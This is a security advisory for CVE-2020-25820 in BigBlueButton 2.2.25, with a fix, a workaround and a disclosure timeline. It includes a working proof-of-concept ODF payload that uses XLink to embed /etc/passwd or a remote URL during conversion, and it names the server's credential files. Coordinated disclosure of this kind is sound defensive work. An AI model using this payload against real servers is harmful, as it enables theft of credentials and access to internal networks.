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Arbitrary File Disclosure and Server-Side Request Forgery in BigBlueButton

RedTeam Pentesting discovered a vulnerability in the BigBlueButton web conferencing system which allows participants of a conference with permissions to upload presentations to read arbitrary files from the file system and perform server-side requests. This leads to administrative access to the BigBlueButton instance.


Details
=======

Product: BigBlueButton
Affected Versions: 2.2.25, potentially earlier versions as well
Fixed Versions: 2.2.27
Vulnerability Type: Arbitrary File Disclosure and
Server-Side Request Forgery
Security Risk: medium
Vendor URL: https://bigbluebutton.org/
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2020-005
Advisory Status: published
CVE: CVE-2020-25820
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25820


Introduction
============

"BigBlueButton is a web conferencing system designed for online learning."

(from the vendor's homepage)


More Details
============

BigBlueButton is a web conferencing system that allows participants with the appropriate privileges to upload files in various formats to be used as presentation slides. Among other formats, BigBlueButton accepts LibreOffice documents[1]. LibreOffice documents use the XML-based Open Document Format for Office Applications (ODF)[2]. For technical purposes, uploaded files are converted to PDF format with LibreOffice and afterwards to SVG for displaying[6].

The ODF file format supports using the XML Linking Language (XLink) to create links between documents[3]. When local files are referenced using XLinks, the contents of the respective files are included in the generated PDF file when BigBlueButton converts ODF documents with LibreOffice. This leads to an arbitrary file disclosure vulnerability, allowing malicious participants of conferences to extract files from the BigBlueButton server's file system.

LibreOffice also embeds XLinks to remote locations when a document is converted, which allows to perform server-side requests. 


Proof of Concept
================

Start from an empty ODF Text Document and extract the content:

------------------------------------------------------------------------
$ mkdir tmp-doc && cd tmp-doc
$ unzip ../empty.odt
Archive:  empty.odt
extracting: mimetype
creating: Configurations2/accelerator/
creating: Configurations2/images/Bitmaps/
creating: Configurations2/toolpanel/
creating: Configurations2/progressbar/
creating: Configurations2/statusbar/
creating: Configurations2/toolbar/
creating: Configurations2/floater/
creating: Configurations2/popupmenu/
creating: Configurations2/menubar/
inflating: manifest.rdf
inflating: meta.xml
inflating: settings.xml
extracting: Thumbnails/thumbnail.png
inflating: styles.xml
inflating: content.xml
inflating: META-INF/manifest.xml
------------------------------------------------------------------------ 

Replace the <office:body> element in the file content.xml with the
following:

------------------------------------------------------------------------
<office:body>
<office:text>
<text:section text:name="string">
<text:section-source
xlink:href="file:///etc/passwd"
xlink:type="simple"
xlink:show="embed"
xlink:actuate="onLoad"/>
</text:section>
</office:text>
</office:body>
------------------------------------------------------------------------ 

The text document now includes a section that references the external file /etc/passwd. Create an new ODF Text Document with the modified content:

------------------------------------------------------------------------
$ zip -r ../modified.odt *
------------------------------------------------------------------------ 

The document can now be uploaded as a presentation. After the conversion, the presentation shows the contents of the file /etc/passwd from the system running the BigBlueButton conferencing software. To perform server-side requests, substitute the xlink:href
attribute's value with a remote URL such as http://example.com:

------------------------------------------------------------------------
<office:body>
<office:text>
<text:section text:name="string">
<text:section-source
xlink:href="http://example.com"
xlink:type="simple"
xlink:show="embed"
xlink:actuate="onLoad"/>
</text:section>
</office:text>
</office:body>
------------------------------------------------------------------------ 

When converting a document with this content, LibreOffice will fetch the website's content and embed it into the generated PDF file. 


Workaround
==========

To work around this issue, the conversion feature should be disabled if it is not used. Otherwise, permission to upload presentations should only be given to trusted users. Additionally, the allowed file types for upload can be restricted to just PDF files.


Fix
===

Update to fixed version 2.2.27. Change API key after update. 



Security Risk
=============

As shown, the presentation conversion feature of BigBlueButton can be used to disclose arbitrary local files. Through the file disclosure, attackers can gain access to the credentials of the BigBlueButton instance (/usr/share/bbb-web/WEB-INF/classes/bigbluebutton.properties, /usr/share/bbb-apps-akka/conf/application.conf), which allows for administrative access to BigBlueButton through its API (see [5]), including all conferences.

Additionally, it is possible to perform server-side requests. Note that this vulnerability is different from CVE-2018-10583 [4], because the risk is not the disclosure of credentials sent while fetching remote resources, but the ability to access resources that are in the same network segment as the BigBlueButton instance, which is possibly not accessible from the Internet.

To exploit this vulnerability, attackers need to have access to a conference with the ability to upload presentations. While successful exploitation of this vulnerability would pose severe consequences for the affected BigBlueButton instance, it is only rated to pose a medium risk due to the requirement of having presentator access. 


Timeline
========

2020-09-11 Vulnerability identified
2020-09-18 Customer approved disclosure to vendor
2020-09-22 CVE ID requested
2020-09-22 CVE ID assigned
2020-09-24 Requested encrypted communication with vendor
2020-09-25 Vendor unable to provide encrypted communication,
Vendor notified
2020-09-25 Vendor confirmed being able to reproduce vulnerability,
mentioned similar bugreport
2020-09-25 Requested information whether "similar bugreport"
uses the same vulnerability - no answer
2020-10-13 Again requested information whether "similar bugreport"
uses the same vulnerability, whether release schedule is known - no answer
2020-10-14 Vendor released fixed version (without mentioning vulnerability)
2020-10-21 Vulnerability published by third party [7][8]
2020-10-21 Advisory released


References
==========

[1] https://docs.bigbluebutton.org/support/faq.html#can-i-upload-microsoft-office-documents-to-bigbluebutton
[2] http://opendocumentformat.org/
[3] https://www.w3.org/TR/xlink11/
[4] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10583
[5] https://docs.bigbluebutton.org/dev/api.html#usage
[6] https://docs.bigbluebutton.org/support/faq.html#presentations
[7] https://www.golem.de/news/big-blue-button-das-grosse-blaue-sicherheitsrisiko-2010-151610.html
[8] https://blog.hboeck.de/archives/902-File-Exfiltration-via-Libreoffice-in-BigBlueButton-and-JODConverter.html


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=======================

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